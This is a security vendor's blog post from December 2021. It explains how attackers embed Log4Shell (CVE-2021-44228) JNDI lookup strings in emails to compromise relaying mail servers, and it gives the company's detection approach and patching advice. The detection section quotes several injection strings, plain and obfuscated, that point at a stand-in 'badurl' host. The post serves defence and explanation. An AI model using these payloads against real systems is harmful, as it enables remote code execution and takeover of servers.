chat
expand_more

Attackers Use Email + Log4j Vulnerability to Efficiently Exploit Email Infrastructure

Over the last few days, Abnormal has successfully blocked multiple attempts by attackers to deliver emails similar to these to our customers’ unsuspecting end users.
December 20, 2021

Over the last few days, Abnormal has successfully blocked multiple attempts by attackers to deliver emails similar to these to our customers’ unsuspecting end users.

Log4j email delivery attempt examples

To the average recipient, these emails seem harmless, as they’re mostly gibberish with some suspicious-looking URLs.

However, the email recipient is not the intended target for these emails. Instead, the email content exploits a vulnerability presented by Log4j, a logging library broadly adopted by most Java developers, to compromise and even take over any email infrastructure that relays these email messages from senders to their destinations.

Curious how it does this? Read on.

What is the Log4Shell Vulnerability?

On December 9, 2021, a severe remote code vulnerability (CVE-2021-44228), a remote code execution (RCE) vulnerability with a CVSS score of 10 was revealed in Apache’s Log4j, a very common logging system used by Java developers. Early attacks include cryptomining, ransomware, data exfiltration, remote access trojans, and more.

When an operation attempts to write messages to logs, Log4j allows lookups to provide additional information to the log messages. This could include retrieving and adding to the message content, modifying timestamps, or changing environment details to give developers the clues they need if asked to debug the software. This information can be retrieved locally, or it can be retrieved from a remote machine. For the remote lookup, Log4j uses the Java Naming and Directory Interface (JNDI), which provides developers the means to look up objects using different services and protocols such as LDAP, DNS, RMI, and CORBA, to name a few.

Here is where the vulnerability lies. When an attacker feeds Log4j with a string containing a JNDI lookup command, Log4j reaches out to the remote server hosted by the attacker to fetch and execute the malicious Java code and successfully compromise the target server.

Log4j using JNDI lookup to execute malicious code

How Does Log4j Affect Email Infrastructure?

As emails traverse from the sender’s mail client to the recipient’s inbox, they rely on multiple SMTP / MTA, DNS, Web servers and more, to send the email to the right incoming mail server and, finally, the inbox.

Log4j affecting MTA, DNS, and SMTP email infrastructure

You might think that you need only be concerned about servers where the incoming TCP connections service requests are handled directly by Java code and runtime libraries. But there may be other modules in the background that lie within these servers to perform other jobs for analytics or reporting purposes. And, there is a fair likelihood that they are processing email header information, and if and when they do, they are likely writing some of that information into their logs. Why? Because developers like as much specific information as possible to run root cause analysis when needed!

And herein lies the vulnerability. Log4j then parses the string and consequently retrieves and executes the malicious code, which compromises any and every server that uses the logging library that attempts to log information about the email.

How Has Abnormal Addressed the Vulnerability?

Our commitment to security and privacy requires that we conduct a full impact assessment as soon as a vulnerability like this is identified. Our assessment confirmed that Abnormal products do not use the affected versions of Log4j / Log4Shell / CVE-2021-44228.

The Abnormal information security team has performed additional verification to ensure that there are no externally visible JVM handlers that are affected by this vulnerability.

Am I Protected from Email Log4j Exploits with Abnormal?

Yes, Abnormal classifies any attempts to exploit Apache Log4j to mount an attack as malware. Our combination of behavioral signals, such as connections being created to utilize the Log4j payload and the presence of macros and trojans will be used to detect the rapidly changing forms of attacks in the wild. Furthermore, we combine our user behavioral signals with threat intelligence and sandboxing for a layered defense-in-depth approach to security.

How is Abnormal Providing Additional Protection to Customers?

Our information security and engineering teams have worked tirelessly to ensure our customers have complete protection from any email-borne Log4j related threats. This includes searching for attempted abuses of JNDI strings across our customers that match the following pattern:

${jndi:ldap://badurl}

And even those that attempt to obfuscate the string. For example:

${jndi:${lower:l}${lower:d}ap://badurl}
${${lower:j}${lower:n}${lower:di}:${lower:l}${lower:d}ap://badurl
}

This means that no matter how attackers attempt to use the JNDI strings within email messages, you’ll be protected from this threat.

How Do I Protect My Organization’s Infrastructure?

You will need to find any and all code in your network that is written in Java 2.14 or older, excluding security release 2.12.2, and check whether it uses the Log4j library. Out-of-date Log4j versions need to be updated immediately to the most recent versions, which are 2.12.2 for Java 7 and 2.17.0 for Java 8. You should also apply software patches from vendors as they become readily made available.

Abnormal will continue to detect and block never-before-seen (zero-day) attacks of this kind that target your company and routinely evade traditional threat intelligence-based solutions like secure email gateways.

If you have any questions or concerns that you would like Abnormal to address, please open a case in our support portal or email support@abnormalsecurity.com.

Not yet an Abnormal customer? Request a demo today to learn how Abnormal can enhance your email security capabilities and provide visibility into email threats that other solutions miss.

Attackers Use Email + Log4j Vulnerability to Efficiently Exploit Email Infrastructure

See Abnormal in Action

Schedule a Demo

Get the Latest Email Security Insights

Subscribe to our newsletter to receive updates on the latest attacks and new trends in the email threat landscape.

 

See the Abnormal Solution to the Email Security Problem

Protect your organization from the full spectrum of email attacks with Abnormal.

See a Demo
 
Integrates Insights Reporting 09 08 22

Related Posts

B AI Series
Discover how Abnormal's advanced AI models are used to detect abnormalities in email behavior and protect organizations from the most sophisticated email attacks.
Read More
B Insights from Clemson University CISO
John Hoyt, CISO at Clemson University, shares his take on the unique cybersecurity challenges of higher education and how Abnormal Security can help.
Read More
B Nigerian Prince
Scams about the Nigerian Prince that promise millions have been around for decades. But they are transitioning, now using ChatGPT and similar tools to seem more convincing.
Read More
B 9 12 23 ATO
Learn why account takeovers are successful, how to detect and remediate them, and how to better protect yourself from cybercriminals in the future.
Read More
B 9 8 23 Incident Response
An effective incident response plan is crucial to minimizing the effects of an email attack and preventing future breaches.
Read More
B MKT006 09 05 23 Site and Social Images for MDC Blog v02
This company has the best cybersecurity product I’ve ever seen, and we’re primed for a future where AI is the focus. Here’s my thoughts on why.
Read More